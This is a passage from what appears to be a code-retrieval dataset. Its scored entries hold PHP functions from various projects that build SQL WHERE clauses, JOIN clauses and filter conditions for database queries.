Registry::ifGet('config.tweaks.allow_product_filters_to_create_temporary_table', true) === true) {\n try {\n $table_name = fn_product_filters_create_temporary_products_table($join, $where);\n $join = $where = '';\n $is_temporary_table = true;\n } catch (DatabaseException $database_exception) {\n ErrorHandler::logException($database_exception);\n\n $table_name = db_quote('?:products');\n $is_temporary_table = false;\n }\n } else {\n $table_name = db_quote('?:products');\n $is_temporary_table = false;\n }\n\n return [$table_name, $join, $where, $is_temporary_table, $base_join, $base_where];\n}", "title": "" }, { "docid": "a27414d5e18601710ed89eb0a40b8989", "score": "0.555945", "text": "public function buildWhere()\r\n\t{\r\n\t\t$numArgs = func_num_args();\r\n\t\t$args = func_get_args();\r\n\t\t$where = array();\r\n\t\tif($numArgs === 1)\r\n\t\t{\r\n\t\t\tif(is_array($args[0]))\r\n\t\t\t{\r\n\t\t\t\tforeach($args[0] as $a => $b)\r\n\t\t\t\t{\r\n\t\t\t\t\tif(is_array($b) && $this->isValidSchemaField($b[0]))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tif(is_array($b[2]))\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t$where[] = \"`\".$b[0].\"` \".$this->site->db->escape($b[1]).\" ('\".implode(\"', '\", $this->site->db->escape($b[2])).\"')\";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t$where[] = \"`\".$b[0].\"` \".$this->site->db->escape($b[1]).\" '\".$this->site->db->escape($b[2]).\"'\";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\telseif($this->isValidSchemaField($a))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$where[] = \"`\".$a.\"` = '\".$this->site->db->escape($b).\"'\";\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t$where[] = \"`\".$this->primaryKey.\"` = '\".$this->site->db->escape($args[0]).\"'\";\r\n\t\t\t}\r\n\t\t}\r\n\t\telseif($numArgs === 2 && $this->isValidSchemaField($args[0]))\r\n\t\t{\r\n\t\t\tif(is_array($args[1]))\r\n\t\t\t{\r\n\t\t\t\t$where[] = \"`\".$args[0].\"` IN ('\".implode(\"', '\", $this->site->db->escape($args[1])).\"')\";\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t$where[] = \"`\".$args[0].\"` = '\".$this->site->db->escape($args[1]).\"'\";\r\n\t\t\t}\r\n\t\t}\r\n\t\telseif(($numArgs % 3) === 0)\r\n\t\t{\r\n\t\t\tfor($i = 0; $i < $numArgs; $i+=3)\r\n\t\t\t{\r\n\t\t\t\tif($this->isValidSchemaField($args[$i]))\r\n\t\t\t\t{\r\n\t\t\t\t\tif(is_array($args[$i+2]))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$where[] = \"`\".$args[$i].\"` \".$this->site->db->escape($args[$i+1]).\" ('\".implode(\"', '\", $this->site->db->escape($args[$i+2])).\"')\";\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$where[] = \"`\".$args[$i].\"` \".$this->site->db->escape($args[$i+1]).\" '\".$this->site->db->escape($args[$i+2]).\"'\";\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tif(count($where))\r\n\t\t{\r\n\t\t\treturn implode(\" AND \", $where);\r\n\t\t}\r\n\t\treturn false;\r\n\t}", "title": "" }, { "docid": "74156a288c051456ff8039e001b3cdff", "score": "0.5552732", "text": "protected function _build_join_to(&$joins, $rel_name, $alias_to, $alias_from, $conditions)\n\t{\n\t\treset($this->key_to);\n\t\tforeach ($this->key_through_to as $key)\n\t\t{\n\t\t\t$joins[$rel_name]['join_on'][] = array($alias_from.'.'.$key, '=', $alias_to.'.'.current($this->key_to));\n\t\t\tnext($this->key_to);\n\t\t}\n\n\t\treturn true;\n\t}", "title": "" }, { "docid": "9232065ba7afadbe18f2c09b89d2dade", "score": "0.5541288", "text": "function buildContactJoin () \n\t{\n\t\t$this->_join .= \" LEFT JOIN apf_contact ON apf_contact.id=\".$this->__table.\".contact_id \";\n\t}", "title": "" }, { "docid": "d64a774cb125384f131f8fa4d0d3f5f4", "score": "0.55404073", "text": "function _buildWhere() {\n\t\t\n\t\t$where = array();\n\t\t\n\t\t// Filter by access level.\n\t\t//if ($access = $this->getState('filter.access')) {\n\t\t$user\t= JFactory::getUser();\n\t\t$groups\t= implode(',', $user->getAuthorisedViewLevels());\n\t\t$where[] = 'access IN ('.$groups.')';\n\t\t//}\n\t\t\n\t\t$where[] = 'parent_id = 1';\n\t\t$where[] = 'extension = \"com_faqbook\" ';\n\t\t$where[] = 'published = 1';\n\t\t\t\t\n\t\t$where \t\t= ( count( $where ) ? ' WHERE ' . implode( ' AND ', $where ) : '' );\n\n\t\treturn $where;\t\n\t}", "title": "" }, { "docid": "0a1bc785a06a6c3a1e28d45f5dcca44a", "score": "0.5539521", "text": "private function getWhereConditions($options=array())\n {\n $conditions = array();\n\n foreach ($options as $key => $value) {\n #print \"$key -> $value\".NL;\n $condition = \"\";\n\n if (preg_match('/^(?P<name>.+)__(?P<lookup>.+)$/', $key, $matches)) {\n #var_dump($matches);\n $varname = $matches['name'];\n $lookup = $matches['lookup'];\n } else {\n $varname = $key;\n $lookup = 'exact';\n }\n\n switch($lookup) {\n case \"exact\":\n $condition = sprintf(\n \"`%s` = '%s'\",\n $this->getColumnByName($varname),\n $this->prepareValue($value)\n );\n break;\n\n case \"iexact\":\n $condition = sprintf(\n \"`%s` ILIKE '%s'\",\n $this->getColumnByName($varname),\n $this->prepareValue($value)\n );\n break;\n\n case \"contains\":\n $condition = sprintf(\n \"`%s` LIKE '%%%s%%'\",\n $this->getColumnByName($varname),\n $this->prepareValue($value)\n );\n break;\n\n case \"icontains\":\n $condition = sprintf(\n \"`%s` ILIKE '%%%s%%'\",\n $this->getColumnByName($varname),\n $this->prepareValue($value)\n );\n break;\n\n case \"in\":\n if (!Validator::is($value, 'array')) throw new Exception(sprintf(\"Lookup '%s' needs an array as value\", $lookup));\n $condition = sprintf(\n \"`%s` IN ('%s')\",\n $this->getColumnByName($varname),\n implode(\"', '\", $this->prepareValue($value))\n );\n break;\n\n case \"gt\":\n $condition = sprintf(\n \"`%s` > '%s'\",\n $this->getColumnByName($varname),\n $this->prepareValue($value)\n );\n break;\n\n case \"gte\":\n $condition = sprintf(\n \"`%s` >= '%s'\",\n $this->getColumnByName($varname),\n $this->prepareValue($value)\n );\n break;\n\n case \"lt\":\n $condition = sprintf(\n \"`%s` < '%s'\",\n $this->getColumnByName($varname),\n $this->prepareValue($value)\n );\n break;\n\n case \"lte\":\n $condition = sprintf(\n \"`%s` <= '%s'\",\n $this->getColumnByName($varname),\n $this->prepareValue($value)\n );\n break;\n\n case \"startswith\":\n $condition = sprintf(\n \"`%s` LIKE '%s%%'\",\n $this->getColumnByName($varname),\n $this->prepareValue($value)\n );\n break;\n\n case \"istartswith\":\n $condition = sprintf(\n \"`%s` ILIKE '%s%%'\",\n $this->getColumnByName($varname),\n $this->prepareValue($value)\n );\n break;\n\n case \"endswith\":\n $condition = sprintf(\n \"`%s` LIKE '%%%s'\",\n $this->getColumnByName($varname),\n $this->prepareValue($value)\n );\n break;\n\n case \"iendswith\":\n $condition = sprintf(\n \"`%s` ILIKE '%%%s'\",\n $this->getColumnByName($varname),\n $this->prepareValue($value)\n );\n break;\n\n case \"range\":\n if (!Validator::is($value, 'array')) throw new Exception(sprintf(\"Lookup '%s' needs an array as value\", $lookup));\n if (count($value) != 2) throw new Exception(sprintf(\"Lookup '%s' needs exactly to array values\", $lookup));\n $condition = sprintf(\n \"`%s` BETWEEN '%s' AND '%s'\",\n $this->getColumnByName($varname),\n $this->prepareValue(array_shift($value)),\n $this->prepareValue(array_shift($value))\n );\n break;\n\n case \"year\":\n if (preg_match('/^[0-9]{4}$/', $value)) throw new Exception(sprintf(\"Lookup '%s' needs an 4 digit year value\", $lookup));\n // TODO check field type\n $condition = sprintf(\n \"`%s` BETWEEN '%d-01-01' AND '%d-12-31 23:59:59.99999'\",\n $this->getColumnByName($varname),\n $this->prepareValue($value),\n $this->prepareValue($value)\n );\n break;\n\n case \"month\":\n if (preg_match('/^[0-9]{2}$/', $value)) throw new Exception(sprintf(\"Lookup '%s' needs an 2 digit month value\", $lookup));\n // TODO check field type\n $condition = sprintf(\n \"EXTRACT('month' FROM `%s`) = '%d'\",\n $this->getColumnByName($varname),\n $this->prepareValue($value)\n );\n break;\n\n case \"day\":\n if (preg_match('/^[0-9]{2}$/', $value)) throw new Exception(sprintf(\"Lookup '%s' needs an 2 digit day value\", $lookup));\n // TODO check field type\n $condition = sprintf(\n \"EXTRACT('day' FROM `%s`) = '%d'\",\n $this->getColumnByName($varname),\n $this->prepareValue($value)\n );\n break;\n\n case \"isnull\":\n $condition = sprintf(\n \"`%s` IS %s\",\n $this->getColumnByName($varname),\n (($value) ? \"NULL\" : \"NOT NULL\")\n );\n break;\n\n case \"search\":\n throw new Exception(sprintf(\"Lookup '%s' is actually not implemented\", $lookup));\n break;\n\n case \"regex\":\n $condition = sprintf(\n \"`%s` REGEXP BINARY '%s'\",\n $this->getColumnByName($varname),\n $this->prepareValue($value)\n );\n break;\n\n case \"iregex\":\n $condition = sprintf(\n \"`%s` REGEXP '%s'\",\n $this->getColumnByName($varname),\n $this->prepareValue($value)\n );\n break;\n\n default:\n throw new Exception(sprintf(\"Lookup '%s' is actually not implemented\", $lookup));\n break;\n }\n\n $conditions[] = $condition;\n }\n\n return $conditions;\n }", "title": "" }, { "docid": "b015ba3b1e57184a068b93e2a723a435", "score": "0.55384773", "text": "private function getFiltersFromConditions()\n\t{\n\t\t$filters = array();\n\t\t$conditions = $this->getConditions();\n foreach ($conditions as $cond)\n {\n \tif ($cond['blogic'] == 'and' && $cond['operator'] == 'id_equal')\n \t{\n \t\t$filters[$cond['field']] = $cond['condValue'];\n \t}\n }\n return $filters;\n\t}", "title": "" }, { "docid": "4c765bd9d351d9df33296a561dccdc92", "score": "0.55368227", "text": "function cf_search_join( $join ) {\n\t global $wpdb;\n\n\t if ( is_search() ) {\n\t $join .=' LEFT JOIN '.$wpdb->postmeta. ' ON '. $wpdb->posts . '.ID = ' . $wpdb->postmeta . '.post_id ';\n\t }\n\n\t return $join;\n\t}", "title": "" }, { "docid": "5b5dec543ed050fb5858252f024cac3d", "score": "0.55172235", "text": "private function _createExpressionJoin()\n\t{\n\t\treturn new Join();\n\t}", "title": "" }, { "docid": "c257603c578b2032a887814fb33529b1", "score": "0.55155337", "text": "public function testJoinConditionObject() {\n // Same test as testDefaultJoin, but with a Condition object.\n $query = $this->connection->select('test_task', 't');\n $join_cond = ($this->connection->condition('AND'))->where('[t].[pid] = [p].[id]');\n $people_alias = $query->join('test', 'p', $join_cond);\n $name_field = $query->addField($people_alias, 'name', 'name');\n $query->addField('t', 'task', 'task');\n $priority_field = $query->addField('t', 'priority', 'priority');\n\n $query->orderBy($priority_field);\n $result = $query->execute();\n\n $num_records = 0;\n $last_priority = 0;\n foreach ($result as $record) {\n $num_records++;\n // Verify that the results are returned in the correct order.\n $this->assertGreaterThanOrEqual($last_priority, $record->$priority_field);\n $this->assertNotSame('Ringo', $record->$name_field, 'Taskless person not selected.');\n $last_priority = $record->$priority_field;\n }\n\n $this->assertEquals(7, $num_records, 'Returned the correct number of rows.');\n\n // Test a condition object that creates placeholders.\n $t1_name = 'John';\n $t2_name = 'George';\n $join_cond = ($this->connection->condition('AND'))\n ->condition('t1.name', $t1_name)\n ->condition('t2.name', $t2_name);\n $query = $this->connection->select('test', 't1');\n $query->innerJoin('test', 't2', $join_cond);\n $query->addField('t1', 'name', 't1_name');\n $query->addField('t2', 'name', 't2_name');\n\n $num_records = $query->countQuery()->execute()->fetchField();\n $this->assertEquals(1, $num_records, 'Query expected to return 1 row. Actual: ' . $num_records);\n if ($num_records == 1) {\n $record = $query->execute()->fetchObject();\n $this->assertEquals($t1_name, $record->t1_name, 'Query expected to retrieve name ' . $t1_name . ' from table t1. Actual: ' . $record->t1_name);\n $this->assertEquals($t2_name, $record->t2_name, 'Query expected to retrieve name ' . $t2_name . ' from table t2. Actual: ' . $record->t2_name);\n }\n }", "title": "" }, { "docid": "22773351c1cd5bc381a9545894758271", "score": "0.5513817", "text": "function joins(){\n $m = (new Model())->table('other_permissions', 'op')\n ->join('folders', 'op.folder_id', '=', 'folders.id')\n ->join('users', 'folders.belongs_to', '=', 'users.id')\n ->join('user_roles', 'users.id', '=', 'user_roles.user_id')\n ->where([\n ['guest', 1],\n ['table', 'products'],\n ['r', 1]\n ])\n ->orderByRaw('users.id DESC')\n ->dontExec(); \n \n dd($m->dd()); \n }", "title": "" }, { "docid": "400cc52cbffa555c0a41cca5a8faffb1", "score": "0.55076045", "text": "public function getJoinedData($joinTables, $data = array())\r\r\n {\r\r\n $sql = \"select * from {$this->tableName}\";\r\r\n foreach ($joinTables as $joinTable) {\r\r\n $sql = $sql.\" join {$joinTable['tableName']} on {$joinTable['tableName']}.{$joinTable['constraintKey']} = {$this->tableName}.{$joinTable['constraintKey']}\";\r\r\n }\r\r\n $where = ' where';\r\r\n if (!empty($data)) {\r\r\n if (!is_array($data)) {\r\r\n echo \"Column should be in key => value pair\";\r\r\n return;\r\r\n }\r\r\n\r\r\n foreach ($data as $key => $val) {\r\r\n $where .= \" {$this->tableName}.{$key} = '{$val}' and\";\r\r\n }\r\r\n\r\r\n $where = rtrim($where, ' and');\r\r\n $sql = $sql.$where;\r\r\n }\r\r\n //echo $sql;exit();\r\r\n $data = $this->select($sql);\r\r\n\r\r\n return $data;\r\r\n }", "title": "" }, { "docid": "e02cdf5a026454efcadbb67bac8696a9", "score": "0.54981405", "text": "public function multipleJoinAndRead($from, $details=array(), $where=array()){\n $this->db->select('*');\n $this->db->from($from);\n\n // check type exists or not\n foreach ($details as $key => $val) {\n if(array_key_exists(\"type\", $val)){\n $this->db->join($key, $val[\"condition\"], $val[\"type\"]);\n } else {\n $this->db->join($key, $val[\"condition\"]);\n }\n }\n\n // appling condition\n $this->db->where($where);\n // get the result set\n $query = $this->db->get();\n\n\n // return the set\n return $query->result();\n }", "title": "" }, { "docid": "5ac7e9817bd25d70903d0f755aaba0fa", "score": "0.5485814", "text": "protected function db_getWhereCondition($shared_status, $filter_conditions)\n {\n $conditions = '';\n $where_array = array();\n if (isset($this->account_id)) {\n $where_array['AND'] = $this->tableName . '.account_id = ' . $this->account_id;\n }\n \n if ($shared_status == 2) {\n $where_array['OR'] = $this->tableName . '.account_id = ' . get_default_account_id();\n }\n if(is_array($this->_selectedIds) && sizeof($this->_selectedIds) > 0){\n $where_array['IN'][] = array(\"field_name\"=>\"{$this->tableName}.id\",\"data\"=> $this->_selectedIds);\n }\n $conditions = $where_array;\n return $conditions;\n }", "title": "" }, { "docid": "ab54779a741cd97eebcbfb28de076269", "score": "0.54769206", "text": "private function buildQueryWhere()\n {\n\n $filter = $this->getWhereConditions( $this->getOptions('filter') );\n $exclude = $this->getWhereConditions( $this->getOptions('exclude') );\n\n $part = ((count($filter)) ? implode(\" AND \", $filter) : \" 1 \");\n $part .= ((count($exclude)) ? sprintf(\" AND NOT (%s)\", implode(\" AND \", $exclude)) : \"\");\n\n return $part;\n }", "title": "" }, { "docid": "a5bb8fce9c35fbcb436291245636728f", "score": "0.5476568", "text": "public function join($join)\n {\n $join = trim((string) $join);\n $join_array = explode(\" ON \", $join);\n $pattern = '/^(JOIN|INNER JOIN|OUTER JOIN|LEFT JOIN|RIGHT JOIN';\n $pattern .= '|LEFT OUTER JOIN)\\s+(.*)$/';\n\n preg_match($pattern, $join_array[0], $matches);\n\n if (is_array($matches) && count($matches) == 3) {\n $array[\"type\"] = $matches[1];\n $array[\"table_name\"] = $matches[2];\n } elseif (count($matches) == 4) {\n $array[\"table_alias\"] = $matches[2];\n } else {\n throw new LogicException(\"SQL join clause not recognised\");\n }\n\n preg_match('/^(.+)\\s+(=|<>|<|>|<=|>=)\\s+(.+)$/', $join_array[1], $matches);\n if (is_array($matches) && count($matches) > 3) {\n $array[\"on\"] = array($matches[1], $matches[2], $matches[3]);\n } else {\n throw new LogicException(\"SQL join clause not recognised\");\n }\n\n $this->_join[] = $array;\n\n return $this;\n }", "title": "" }, { "docid": "3c5e99ecbb340b4aa92bd4d05be13f49", "score": "0.5472829", "text": "function tptn_exclude_categories_join( $join ) {\n\tglobal $wpdb, $tptn_settings;\n\n\tif ( '' !== tptn_get_option( 'exclude_categories' ) ) {\n\n\t\t$sql = $join;\n\t\t$sql .= \" LEFT JOIN $wpdb->term_relationships AS excat_tr ON ($wpdb->posts.ID = excat_tr.object_id) \";\n\t\t$sql .= \" LEFT JOIN $wpdb->term_taxonomy AS excat_tt ON (excat_tr.term_taxonomy_id = excat_tt.term_taxonomy_id) \";\n\n\t\treturn $sql;\n\t} else {\n\t\treturn $join;\n\t}\n}", "title": "" }, { "docid": "e65ceea177e40cdc0f7ad8a8dbdbcbbe", "score": "0.5470468", "text": "public function hasJoins()\n {\n $result = false;\n foreach ($this->filters as $filter)\n {\n if ($filter->hasJoins())\n {\n $result = true;\n break;\n }\n }\n return $result;\n }", "title": "" }, { "docid": "b2d97011d1a66f18cbff2b2a198732dc", "score": "0.5461555", "text": "public function prepareRelationConditions(array $conditions, array &$fetchOptions)\n\t{\n\t\t$sqlConditions = array();\n\t\t$db = $this->_getDb();\n\n\t\tif (!empty($conditions['content_id']))\n\t\t{\n\t\t\tif (is_array($conditions['content_id']))\n\t\t\t{\n\t\t\t\t$sqlConditions[] = 'relation.content_id IN (' . $db->quote($conditions['content_id']) . ')';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$sqlConditions[] = 'relation.content_id = ' . $db->quote($conditions['content_id']);\n\t\t\t}\n\t\t}\n\n\t\tif (!empty($conditions['content_type']))\n\t\t{\n\t\t\tif (is_array($conditions['content_type']))\n\t\t\t{\n\t\t\t\t$sqlConditions[] = 'relation.content_type IN (' . $db->quote($conditions['content_type']) . ')';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$sqlConditions[] = 'relation.content_type = ' . $db->quote($conditions['content_type']);\n\t\t\t}\n\t\t}\n\n\t\tif (!empty($conditions['target_content_id']))\n\t\t{\n\t\t\tif (is_array($conditions['target_content_id']))\n\t\t\t{\n\t\t\t\t$sqlConditions[] = 'relation.target_content_id IN (' . $db->quote($conditions['target_content_id']) . ')';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$sqlConditions[] = 'relation.target_content_id = ' . $db->quote($conditions['target_content_id']);\n\t\t\t}\n\t\t}\n\n\t\tif (!empty($conditions['target_content_type']))\n\t\t{\n\t\t\tif (is_array($conditions['target_content_id']))\n\t\t\t{\n\t\t\t\t$sqlConditions[] = 'relation.target_content_type IN (' . $db->quote($conditions['target_content_type']) . ')';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$sqlConditions[] = 'relation.target_content_type = ' . $db->quote($conditions['target_content_type']);\n\t\t\t}\n\t\t}\n\n\t\treturn $this->getConditionsForClause($sqlConditions);\n\t}", "title": "" }, { "docid": "6dddbc7db3528bf334903f005d2a347e", "score": "0.5445924", "text": "function selectAllJoin($table, $table2, $field) {\n try {\n // Cria a query\n $query = $this->db->prepare(\"SELECT *, NULL AS id, $table.id AS id1, $table2.id AS id2 FROM $table INNER JOIN $table2 ON $table.$field=$table2.id;\");\n $query->execute(); // Executa a query\n return $query->fetchAll(PDO::FETCH_OBJ);\n } catch (PDOException $e) {\n return false;\n }\n }", "title": "" }, { "docid": "5ee55b5866eb5be90049c6ca9e27758e", "score": "0.5436492", "text": "public function getQueryCriteria(): array;", "title": "" }, { "docid": "a688b8421a8d24950ee53c7bf274a51c", "score": "0.54338634", "text": "private function allCondition()\r\n {\r\n if ($this->hasWhere()) {\r\n [$key, $opr, $value] = $this->where;\r\n $this->sql .= \"WHERE $key $opr '$value' \";\r\n }\r\n if ($this->hasAndWhere()) {\r\n [$akey, $aopr, $avalue] = $this->andWhere;\r\n $this->sql .= \"AND $akey $aopr '$avalue' \";\r\n }\r\n if ($this->hasOrWhere()) {\r\n [$okey, $oopr, $ovalue] = $this->andWhere;\r\n $this->sql .= \"OR $okey $oopr '$ovalue' \";\r\n }\r\n\r\n if ($this->hasOrderByDesc()) {\r\n $orders = implode(' DESC, ', $this->orderByDesc);\r\n $this->sql .= \"ORDER BY $orders DESC \";\r\n\r\n }\r\n\r\n if ($this->hasLimit()) {\r\n $this->sql .= \"LIMIT $this->limit \";\r\n }\r\n\r\n if ($this->hasOffset()) {\r\n $this->sql .= \"OFFSET $this->offset\";\r\n }\r\n\r\n }", "title": "" }, { "docid": "fd17c39da37b8faf9b75e2d62d9f0312", "score": "0.54320043", "text": "private function _getRelations()\n {\n $result = array('fields'=>'', 'tables'=>'', 'fieldsArray'=>array());\n $rel = $this->_relations();\n if(!is_array($rel)) return $result;\n $defaultJoinType = self::LEFT_OUTER_JOIN;\n $nl = \"\\n\";\n\n foreach($rel as $key => $val){\n $key = isset($val['parent_key']) ? $val['parent_key'] : $key;\n $relationType = isset($val[0]) ? $val[0] : '';\n $relatedTable = isset($val[1]) ? $val[1] : '';\n $relatedTableKey = isset($val[2]) ? $val[2] : '';\n $joinType = (isset($val['joinType']) && in_array($val['joinType'], self::$_joinTypes)) ? $val['joinType'] : $defaultJoinType;\n $condition = isset($val['condition']) ? $val['condition'] : '';\n\n if(\n $relationType == self::HAS_ONE ||\n $relationType == self::BELONGS_TO ||\n $relationType == self::HAS_MANY ||\n $relationType == self::MANY_MANY\n ){\n if(isset($val['fields']) && is_array($val['fields'])){\n foreach($val['fields'] as $field => $fieldAlias){\n if(is_numeric($field)){\n $field = $fieldAlias;\n $fieldAlias = '';\n }\n $result['fields'] .= ', `'.CConfig::get('db.prefix').$relatedTable.'`.'.$field.(!empty($fieldAlias) ? ' as '.$fieldAlias : '');\n $result['fieldsArray'][] = (!empty($fieldAlias) ? $fieldAlias : $field);\n }\n }else{\n $result['fields'] .= ', `'.CConfig::get('db.prefix').$relatedTable.'`.*';\n }\n $result['tables'] .= $joinType.' `'.CConfig::get('db.prefix').$relatedTable.'` ON `'.CConfig::get('db.prefix').$this->_table.'`.'.$key.' = `'.CConfig::get('db.prefix').$relatedTable.'`.'.$relatedTableKey;\n $result['tables'] .= (($condition != '') ? ' AND '.$condition : '').$nl;\n }\n }\n\n return $result;\n }", "title": "" }, { "docid": "cb2fff16533a8cb870e9ee73ffdcacd8", "score": "0.5430362", "text": "public function joins()\n {\n return $this->hasMany('App\\Join');\n }", "title": "" }, { "docid": "3ca63531f73b302ca28304af6c93c9d1", "score": "0.5416398", "text": "public function getScopedConditions()\n\t{\n\t\treturn array_map(function($column) {\n \t\t\treturn [$column, '=', $this->$column];\n \t\t}, $this->getScopedColumns());\n\t}", "title": "" }, { "docid": "1c10d11d75d6e891124442b21287a5a1", "score": "0.5405155", "text": "private function formatConditions($arr){\n\t\t$out\t= \" WHERE \";\n\t\t\n\t\treturn $out;\n\t}", "title": "" }, { "docid": "a6abf5028f3eeb550c355820ff96ee56", "score": "0.5401761", "text": "protected function _build_query_join($query, $conditions, $alias_to, $model_from)\n\t{\n\t\t$join = array(\n\t\t\t'table' => array($this->table_through, $this->alias_through),\n\t\t\t'join_type' => null,\n\t\t\t'join_on' => array(),\n\t\t\t'columns' => $this->select_through($this->alias_through)\n\t\t);\n\n\t\t// Creates the native conditions on the join\n\t\treset($this->key_to);\n\t\tforeach ($this->key_through_to as $key)\n\t\t{\n\t\t\t$join['join_on'][] = array($this->alias_through.'.'.$key, '=', $alias_to.'.'.current($this->key_to));\n\t\t\tnext($this->key_to);\n\t\t}\n\n\t\t// Creates the custom conditions on the join\n\t\tforeach (\\Arr::get($conditions, 'join_on', array()) as $key => $condition)\n\t\t{\n\t\t\tis_array($condition) or $condition = array($key, '=', $condition);\n\t\t\treset($condition);\n\t\t\t$condition[key($condition)] = $this->getAliasedField(current($condition), $this->alias_through);\n\t\t\t$join['join_on'][] = $condition;\n\t\t}\n\n\t\t// Creates the join on the query\n\t\t$query->_join($join);\n\n\t\treturn true;\n\t}", "title": "" }, { "docid": "f84346f0a6fc10f671de3db144709362", "score": "0.53902596", "text": "function buildCondition( $filter )\n\t{\n\t\t$filter = $this->escape( $filter );\n\t\t$parts = array();\n\t\tforeach( $filter as $field_name => $field_value )\n\t\t{\n\t\t\tif( $field_value === null )\n\t\t\t{\n\t\t\t\t$parts[] = \"`$field_name` IS NULL\";\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif( is_array( $field_value ) ){\n\t\t\t\t$parts[] = \"`$field_name` IN ( '\".implode( \"', '\", $field_value ).\"' )\";\n\t\t\t} else {\n\t\t\t\t$parts[] = \"`$field_name` = '$field_value'\";\n\t\t\t}\n\t\t}\n\t\t$condition = implode( ' AND ', $parts );\n\t\treturn $condition;\n\t}", "title": "" }, { "docid": "c87abb60dd3b71027bd108e39f334e7f", "score": "0.5382663", "text": "public static function build_sql_conditions( $args = array() ){\n\t\tglobal $wpdb;\n\t\t$events_table = EM_EVENTS_TABLE;\n\t\t$locations_table = EM_LOCATIONS_TABLE;\n\t\t\n\t\t$args = apply_filters('em_object_build_sql_conditions_args',$args);\n\t\t\n\t\t//Format the arguments passed on\n\t\t$scope = $args['scope'];//undefined variable warnings in ZDE, could just delete this (but dont pls!)\n\t\t$recurring = $args['recurring'];\n\t\t$recurrence = $args['recurrence'];\n\t\t$recurrences = $args['recurrences'];\n\t\t$category = $args['category'];// - not used anymore, accesses the $args directly\n\t\t$tag = $args['tag'];// - not used anymore, accesses the $args directly\n\t\t$location = $args['location'];\n\t\t$bookings = $args['rsvp'];\n\t\t$bookings = !empty($args['bookings']) ? $args['bookings']:$bookings;\n\t\t$owner = $args['owner'];\n\t\t$event = $args['event'];\n\t\t$month = $args['month'];\n\t\t$year = $args['year'];\n\t\t//Create the WHERE statement\n\t\t$conditions = array();\n\t\t\n\t\t//Statuses - we search for the 'status' based on the context of current object (i.e. is it an event or location for the moment)\n\t\t// if we define the alternative status such as location_status in event context, if set to true it matches the event 'status'\n\t\t// if a specific status search value is given i.e. not true and not false then that's used to generate the right condition for that specific field\n\t\t// e.g. if in events, search for 'publish' events and 0 location_status, it'll find events with a location pending review.\n\t\tforeach( array('event_status', 'location_status') as $status_type ){\n\t\t\t//find out whether the main status context we're after is an event or location i.e. are we running an events or location query\n\t\t\t$is_location_status = $status_type == \"location_status\" && self::$context == EM_POST_TYPE_LOCATION;\n\t\t\t$is_event_status = $status_type == \"event_status\" && self::$context == EM_POST_TYPE_EVENT;\n\t\t\t//$is_joined_status decides whether this status we're dealing with is part of a joined table or the main table\n\t\t\t$is_joined_status = (!$is_location_status || !$is_event_status) && $args[$status_type] !== false;\n\t\t\t//we add a status condition if this is the main status context or if joining a table and joined status arg is not exactly false\n\t\t\tif( $is_location_status || $is_event_status || $args[$status_type] !== false ){\n\t\t\t\t$condition_status = $is_joined_status ? $status_type : 'status'; //the key for this condition type\n\t\t\t\t//if this is the status belonging to the joined table, if set to true we match the main context status otherwise we check the specific status\n\t\t\t\t$status_arg = $is_joined_status && $args[$status_type] !== true ? $args[$status_type] : $args['status'];\n\t\t\t\t//if joining by event or location, we may mistakenly omit any results without a complementing event or location, we need to account for that here\n\t\t\t\t//other parts of the condition can negate whether or not eventful locations or events with/without locations should be included\n\t\t\t\t$conditions[$condition_status] = \"(`{$status_type}` >= 0 )\"; //shows pending & published if not defined\n\t\t\t\tif( is_numeric($status_arg) ){\n\t\t\t\t\t$conditions[$condition_status] = \"(`{$status_type}`={$status_arg})\"; //pending or published\n\t\t\t\t}elseif( $status_arg == 'pending' ){\n\t\t\t\t $conditions[$condition_status] = \"(`{$status_type}`=0)\"; //pending\n\t\t\t\t}elseif( $status_arg == 'publish' ){\n\t\t\t\t $conditions[$condition_status] = \"(`{$status_type}`=1)\"; //published\n\t\t\t\t}elseif( $status_arg === null || $status_arg == 'draft' ){\n\t\t\t\t $conditions[$condition_status] = \"(`{$status_type}` IS NULL )\"; //show draft items\n\t\t\t\t}elseif( $status_arg == 'trash' ){\n\t\t\t\t $conditions[$condition_status] = \"(`{$status_type}` = -1 )\"; //show trashed items\n\t\t\t\t}elseif( $status_arg == 'all'){\n\t\t\t\t\t$conditions[$condition_status] = \"(`{$status_type}` >= 0 OR `{$status_type}` IS NULL)\"; //search all statuses that aren't trashed\n\t\t\t\t}elseif( $status_arg == 'everything'){\n\t\t\t\t\tunset($conditions[$condition_status]); //search all statuses\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t//Recurrences\n\t\tif( $recurring ){\n\t\t\t//we show recurring event templates as well within results, if 'recurring' is 'include' then we show both recurring and normal events.\n\t\t\tif( $recurring !== 'include' ){\n\t\t\t\t$conditions['recurring'] = \"`recurrence`=1\";\n\t\t\t}\n\t\t}elseif( $recurrence > 0 ){\n\t\t\t$conditions['recurrence'] = $wpdb->prepare(\"`recurrence_id`=%d\", $recurrence);\n\t\t}else{\n\t\t\t//we choose to either exclusively show or completely omit recurrences, if not set then both are shown\n\t\t if( $recurrences !== null ){\n\t\t \t$conditions['recurrences'] = $recurrences ? \"(`recurrence_id` > 0 )\":\"(`recurrence_id` IS NULL OR `recurrence_id`=0 )\";\n\t\t }\n\t\t //if we get here and $recurring is not exactly null (meaning ignored), it was set to false or 0 meaning recurring events shouldn't be included\n\t\t if( $recurring !== null ){\n\t\t \t$conditions['recurring'] = 